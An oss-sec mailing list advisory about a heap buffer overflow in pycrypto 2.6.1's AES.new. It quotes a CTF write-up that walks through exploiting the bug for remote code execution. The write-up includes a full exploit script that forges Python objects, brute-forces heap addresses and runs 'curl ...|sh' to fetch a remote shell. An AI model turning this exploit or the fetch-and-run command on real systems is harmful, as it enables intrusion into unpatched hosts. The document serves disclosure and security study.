oss-sec mailing list archives

Buffer overflow in pycrypto


From: Leo Famulari <leo () famulari name>
Date: Mon, 26 Dec 2016 20:09:25 -0500

I noticed this bug report in the pycrypto bug tracker:

"AES.new with invalid parameter crashes python"
https://github.com/dlitz/pycrypto/issues/176

The original report, from that GitHub page:
------
In Crypto 2.6.1 and Python 2.7.10 and 3.4.3
folowing code causes crash:

from Crypto.Cipher import AES

AES.new(b'\000' * 16, AES.MODE_ECB, b'\000' * 540)
------

Apparently this issue is fixed on pycrypto's development branch with
commit 8dbe0dc3eea5c689d4f76b37b93fe216cf1f00d4, but this change can't
be applied directly to the latest pycrypto release tarball; too much has
changed.

https://github.com/dlitz/pycrypto/commit/8dbe0dc3eea5c689d4f76b37b93fe216cf1f00d4

Linked from the pycrypto bug #176 discussion, someone has used the bug
to get a remote shell. This report is reproduced in the remainder of
this message:

https://pony7.fr/ctf:public:32c3:cryptmsg

cryptmsg - Writeup by Maxima
Challenge

Can you find the bug?

http://136.243.194.56:8000/
Solution

The website allows us to encrypt and decrypt messages using AES. The
encryption is performed by cryptmsg.py, using the python library
pycrypto. After a few searches, I found out that there was a bug in
pycrypto: https://github.com/dlitz/pycrypto/issues/176. We can use this
vulnerability to get a shell.

I first tried to guess the architecture on the server. I managed to get
it by causing a python stacktrace:

curl 
"http://136.243.194.56:8000/cgi-bin/cryptmsg.py?what=enc&msg=AAAAAAAAAAAAAAAA&key=AAAAAAAAAAAAAAAA&mode=42&iv=AAAAAAAAAAAAAAAA";

In the stacktrace, the path to the shared object is
/usr/lib/pyth…t-packages/Crypto/Cipher/_AES.i386-linux-gnu.so, se we
know that the architecture is i386 (x86 32bits). I also assumed that the
server runs on Ubuntu Server 15.10, since that was what they were
running on some of their other challenge servers. I quickly set up a
virtual machine to have the same environment.

Then I dove more deeply in the source code. Here is the code in
src/block_templace.c in pycrypto source code:

static ALGobject *
ALGnew(PyObject *self, PyObject *args, PyObject *kwdict)
{
        unsigned char *key, *IV;
        ALGobject * new=NULL;
        int keylen, IVlen=0, mode=MODE_ECB, segment_size=0;
        PyObject *counter = NULL;
        int counter_shortcut = 0;
 
        // [...]
 
        /* Set default values */
        if (!PyArg_ParseTupleAndKeywords(args, kwdict, "s#|is#Oi",
                                         kwlist,
                                         &key, &keylen, &mode, &IV, &IVlen,
                                         &counter, &segment_size)) 
        {
                return NULL;
        }
 
        // [...]
        new = newALGobject();
        // [...]
 
        memset(new->IV, 0, BLOCK_SIZE);
        memset(new->oldCipher, 0, BLOCK_SIZE);
        memcpy(new->IV, IV, IVlen); // buffer overflow!
        new->mode = mode;
        new->count=BLOCK_SIZE;   /* stores how many bytes in new->oldCipher have been used */
        return new;
}

And here is the ALGobject structure:

#define BLOCK_SIZE 16
 
typedef struct 
{
        PyObject_HEAD 
        int mode, count, segment_size;
        unsigned char IV[BLOCK_SIZE], oldCipher[BLOCK_SIZE];
        PyObject *counter;
        int counter_shortcut;
        block_state st;
} ALGobject;

Thus there is a heap buffer overflow on IV. We can basically write as
many bytes as we want on a part of the heap.

The next step is to get the control of the execution flow. The idea is
to overwrite the counter pointer to introduce a fake python object. Here
is what a python object structure looks like:

typedef struct _object {
    Py_ssize_t ob_refcnt;
    struct _typeobject *ob_type;
} PyObject;

The first element is the reference counter on this object. The second
element is a pointer on the type of the object. Here is the type
structure:

typedef struct _typeobject {  
    Py_ssize_t ob_refcnt;
    struct _typeobject *ob_type;
    Py_ssize_t ob_size; /* Number of items in variable part */
 
    const char *tp_name; /* For printing, in format "<module>.<name>" */
    Py_ssize_t tp_basicsize, tp_itemsize; /* For allocation */
 
    /* Methods to implement standard operations */
 
    destructor tp_dealloc;
    printfunc tp_print;
    getattrfunc tp_getattr;
    setattrfunc tp_setattr;
    cmpfunc tp_compare;
    reprfunc tp_repr;
 
    // [...]
} PyTypeObject;

We are going to create a fake object associated to a fake type. When the
object gets deallocated, the function pointer tp_dealloc will be used.
In the fake type, we will put a pointer on a gadget to get a shell.
Fortunately, system() is available in the PLT.

I found a nice gadget in the python binary, using ropper:

   0x81580d6:   push   edx
   0x81580d7:   call   DWORD PTR [eax+0x18]

When the object is deallocated, edx contains the address of the type,
and eax contains the address of the object. We can create a fake object
and a fake type that will execute a command:

def p(v):
    return struct.pack('<I', v)
 
fake_object = p(1) # ref counter
fake_object += p(fake_type_addr) # type object
fake_object += b'\x00' * 16
fake_object += p(system_addr)
 
fake_type = cmd.ljust(24, b'\x00')
fake_type += p(call_gadget)

Here, call_gadget = 0x81580d6 and system_addr = 0x0805a2f0 (you can get
them easily using gdb). The problem is that we don't know yet where our
fake_object and fake_type will be because of ASLR. The heap is mapped to
a random address. Because the server runs on a 32bits architecture, we
know that we can bruteforce it. We will put our fake_object and
fake_type a lot of times in the memory, and use for fake_object_addr a
potential address right in the middle of the heap.

I will execute the command curl arthaud.me/sh|sh that'll give me a
shell. Here is my final script:

#!/usr/bin/env python3
import struct
import requests
 
 
def p(v):
    return struct.pack('<I', v)
 
cmd = b'curl arthaud.me/sh|sh\x00'
 
system_addr = 0x0805a2f0
call_gadget = 0x81580d6 # push edx; call [eax + 0x18]
fake_object_addr = 0x84d673c
fake_type_addr = fake_object_addr + 0x1c
 
fake_object = p(1) # ref counter
fake_object += p(fake_type_addr) # type object
fake_object += b'\x00' * 16
fake_object += p(system_addr)
 
assert len(cmd) <= 24
fake_type = cmd.ljust(24, b'\x00')
fake_type += p(call_gadget)
 
payload = b'I' * 32
payload += p(fake_object_addr)
 
data = (fake_object + fake_type) * 500
 
qs = 'key=' + 'A' * 16
qs += '&mode=1'
qs += '&iv=' + ''.join('%%%02x' % c for c in payload)
qs += '&x=' + ''.join('%%%02x' % c for c in data)
 
i = 1
while True:
    print('\rAttempt %d' % i, end='')
    i += 1
    requests.get('http://136.243.194.56:8000/cgi-bin/cryptmsg.py?%s&apos; % qs)

You can also use Ricky Zhou exploit.

After a few hours, I finally got a shell!

Attachment: signature.asc
Description:


Current thread: